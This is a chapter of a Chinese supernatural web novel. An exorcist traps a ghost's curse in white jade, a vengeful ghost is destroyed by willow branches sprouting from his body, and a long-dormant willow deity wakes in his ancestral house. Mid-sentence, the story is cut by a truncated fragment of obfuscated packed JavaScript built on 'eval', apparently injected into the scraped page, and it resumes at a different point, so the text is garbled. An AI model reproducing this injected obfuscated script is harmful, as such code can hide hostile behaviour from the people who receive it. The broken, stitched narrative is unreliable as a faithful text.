殷泉说:“我让你准备好的白玉呢?玉属中性,阴阳结合,是制作法器的好材料。 同时也可以吸收阴阳之气,玉可养人,也可成为害人的利器……总而言之,越纯的玉越好吃。” 前面的话听上去还有些玄学,但最后一句却隐约有些不对劲。 殷泉说:“你手上的这块玉看上去就很好吃……” 难怪殷泉可以直接挑选出诸淮需要的好玉来,原来它是以食客的视角去挑选的! 诸淮低声念出一段咒语,又取出一张符咒贴在季嫣的身上,他挤出季嫣的一滴指尖血滴在白玉上,将其贴在季嫣的脚踝处。 整个过程都显得格外神秘,在季嫣不可置信的目光下,她身上的符咒发出了莫名的光华,像是渐渐逼出了什么东西。 她脚踝上的那个手掌印如活物一般扭动起来,似乎显得很不舒服。 白玉上的一滴血隐隐勾引着它,再加上那道符咒在渐渐燃烧,那些黑气极不情愿地扭动着,最终还是挣脱了出来,挤进了那一块白玉之中。 诸淮掌心发凉,用几张符咒将其包裹起来。 在他眼中,白玉散发出的力量慢慢变得浑浊青黑,自身的属性也迅速地产生了转变。 诸淮将其收了起来,他看向季嫣,就看见她试探性地抬起腿,原本肿胀到无法行走的小腿,居然恢复了知觉! “大师,谢谢你救了我。” 季嫣感动的几乎落泪了,亲眼见到这一幕,她只感觉死里逃生。 诸淮抚摸着手里的白玉,像是在观察新到手的玩具,他说:“不用谢,毕竟你付了钱的。” 季嫣还想要说些什么,诸淮却转移话题,他询问道:“我听说白安也在这家医院,他现在的情况怎么样?” 季嫣眼中迅速划过一丝厌恶:“他的情况已经稳定下来,那女鬼没弄死他。” 对方虽然还活着,但现在的情况肯定是比死还难受,诸淮担心的是女鬼有没有离开。 但不幸的是,女鬼还在白安的病房内折磨着他的灵魂,只可惜白安现在确实是爬不起来了,而这一次的目标有那么多个,它却只吸走了一个人的生命力…… 想到这里,女鬼的眼中便迅速划过一丝恶意,它忽然嗅闻到一丝熟悉的味道。 女鬼藏匿在黑暗中缓缓向着诸淮的方向游去,在它的眼中,诸淮身上散发出的气息是最为突出,也最为吸引人的。 如果说其他人是一块小甜点,那么诸淮的生命力对所有恶鬼来说,便是一道大餐。 女鬼死死地盯着他,像是在犹豫着什么,诸淮察 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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就在女鬼即将抱住诸淮的那一刻,女鬼的身影却忽的僵在半空,像是被什么极其恐怖的东西控制住。 诸淮低下头,在他的眼中,他的身上忽然延伸出了一条条柔软的柳枝。 那些柳枝在他的肌肤上展开,就那样慢条斯理地圈住自己的猎物,接着将锋利的一端对准其他侵略自己领地的入侵者。 ‘他身上所有的一切……都是我的。’ 那些柔韧的枝蔓像是被激活了一般,一圈圈地伸展开来,捅进了女鬼的体内,恶鬼发出痛苦的声音,它在魂飞魄散的最后一刻望着诸淮,眼中满是不甘,满是痛苦。 就像是在对诸淮说:‘你为什么要逼我?’人类真是太可怕了。 恶鬼觉得诸淮就是在钓鱼执法。 一阵令人不安的撕裂声后,恶鬼化为一团黑气消散,一个没有双腿的小人偶落在地上。 解决完不长眼的东西后,那些柳枝慢慢收回,又重新栖息在诸淮的身上,像是无害的纹身。 诸淮眼睁睁地看着这一幕,他有些后怕,当然也有些惊愕。 诸淮犹豫了一瞬,他捡起那个人偶,回想着刚刚的柳条,诸淮低声念出一个名字:“柳相。” 柳家祖宅内,一位位仆从低着头在寂静的大殿内走过,整个祖宅极其压抑,安静的只有淡淡的呼吸声。 此地的家仆都不敢抬起头,甚至不敢望向某个方向,就仿佛那里有着极恐怖的东西,是不敢去接触,甚至不能去讨论的禁忌。 一个一头黑发,身高极为骇人的庞然大物躺在宽大的棺材里,他像是听见了什么,缓缓从棺内伸出一只修长的手。 那只手形状优美,五指修长,薄薄的肌肤不透血色,骨节分明的手指强而有力,像是可以轻易地扼断一个人的喉咙。 一道身影如苏醒的恶鬼般慢慢抬起头,他长如绸缎的黑发如幕布般滑落而下,露出一张精致完美,泛着古典气息的美丽面孔。 他暗金色的眼眸轻轻眨了眨,在他睁开眼的那一瞬间,整个祖宅似乎都隐隐颤栗起来。 “不应该啊,祭神大人不应该这个时候醒来!” “是谁唤醒了祂?快,快去请柳遥大人!” “不可喧哗!不可扰乱祖宅清净。” 很吵。 这道身影想着,他缓缓握紧手掌,每一丝动作间都透出恐怖到极点的力量。 想杀了所有人,嗯,应该杀了他们。 但是不行。 男人松开手,这样做有人会不高兴,但是那个人是谁呢? 想不起来了。 但那个人不高兴,和他自己不高兴比起来更重要一点吗?祭神皱起眉,他似乎在思索着什么,想不通自己为什么会失忆。 就好像他似乎重生了,应该去寻找某个很重要的人……但他却什么都不记得了。 这种感觉让他不快。 祭神柳相继续思索着,忽然间,他像是终于意识到了什么,男人伸出手指,慢悠悠地挖开了自己的胸膛,像拉链一般,用惨白的十指撕扯自己的肌肤。 他的胸膛空空荡荡,五脏六腑消失不见,居然宛如中空的陶瓷一般,什么也不剩下。 哦,原来是他的五脏六腑消失了,失去了心脏,他也确实记不起来那些东西。 柳相慢吞吞地在祖宅里翻了翻,从水里挖出一个大罐子,柳相将其打开,一个小小的人偶忽然爬了出来,长着一张和他一模一样的脸,对着他呸了一声。 这是他的肾。 柳相想着,他也懒得再去找其他东西,柳相的气质典雅漂亮,却透着一股不正常的阴冷。 他捧着手里的罐子想,那个人是谁呢?很重要啊……就好像必须得找到对方似的,如果不找到的话,或许会让他很不高兴。 但他并不能离开祖宅,柳相思索了一瞬后,拎起那个小小的人偶,就像是拎起一只小猫崽似的——将自己的肾脏直接扔了出去。 那个人偶在水里游动着,很快便消失不见,朝着某个方向冲去了。 这样应该就能找到了吧? 柳相想着,他坐到自己的梨花木椅上,垂眸沉思着,仿佛一尊凝固的华美雕像,祖宅内的仆从都知道他在这里,却没有任何一个人敢来打扰他。